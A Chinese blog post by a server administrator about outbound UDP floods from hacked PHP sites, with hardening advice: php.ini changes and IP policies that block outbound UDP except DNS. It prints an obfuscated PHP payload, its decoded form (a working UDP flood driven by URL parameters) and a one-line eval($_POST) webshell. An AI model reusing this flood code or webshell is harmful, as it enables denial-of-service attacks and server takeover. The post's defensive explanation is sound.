导航

带宽占用很大.

     朋友国外的机器带宽突然跑的很大,网站不多,后来说是把对外的udp端口给封了就好了.后来在国内一个放企业站上面也出现过如此的情况.后来发现在一个网站里面发现一个加密的.解密后看到很熟悉的 udp 莫非有关系?.果然 也有朋友遇到这样的情况,看来封禁对外udp是很必要的,

以下为转帖:

  

关于近期一些服务器遭受UDP攻击的说明
近来我有一两台服务器显示经常受到udp攻击
导致服务器带宽占用到100%,用华盾查流量占用也无法查到具体是哪个站被攻击了,起初以为是cc攻击,因为停止了iis带宽就为0了,其实不然,都是部分用户被入侵导致的
下面我想说一下被入侵的原理
用户程序中的一个php页面的原代码:
<?php
/*
gl

*/
eval(gzinflate(base64_decode('
DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw
6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLb
VkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGY
ibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4
wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG
3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci1
3dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCw
xiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOu
SJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Aw
e8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnu
bV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3c
hsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
 
经过N次解密后的代码:
<?php


$packets = 0;
$
ip = $_GET[\'ip\'];
$
rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET[\'time\'];

$time = time();
print \"Flooded: $ip on port $rand <br><br>\";
$max_time = $time+$exec_time;


for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp =
fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
<?php eval($_POST[ddos])?>
baidu了一下工作原理:
先把你代码放到一个正常的网页中.
通过url传递IP和端口以udp的方式打开.传递文件到服务器写出.
这样服务器就中招了.
也就是服务器显示udp攻击,带宽占用非常之严重,基本是100%,一般徘徊在97%-99%之间

解决方案:
在php.ini中限制php用网络。
在php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
然后重启IIS

我没关这个函数,有的程序需要貌似,直接把udp出站端口给封了.

更新:

       采用ip策略封掉udp端口,其实并没有完全封闭,udp 53端口必须开放,不然服务器里面不好上网,以下是引用星外技术的话:

 

 

在星外最新版本的安全包中,已带有4.0版本的IP策略,您导入后就直接可以限制了外发的UDP包。您可以用主控用户名密码登陆7i24.com,在软件下载,新用户下载中有。但这个策略并没有关闭DNS端口,部分攻击还是有效.

为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址 "特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8" 保存后就行了 )

 

最关键的 策略 提供给大家 ipsec.rar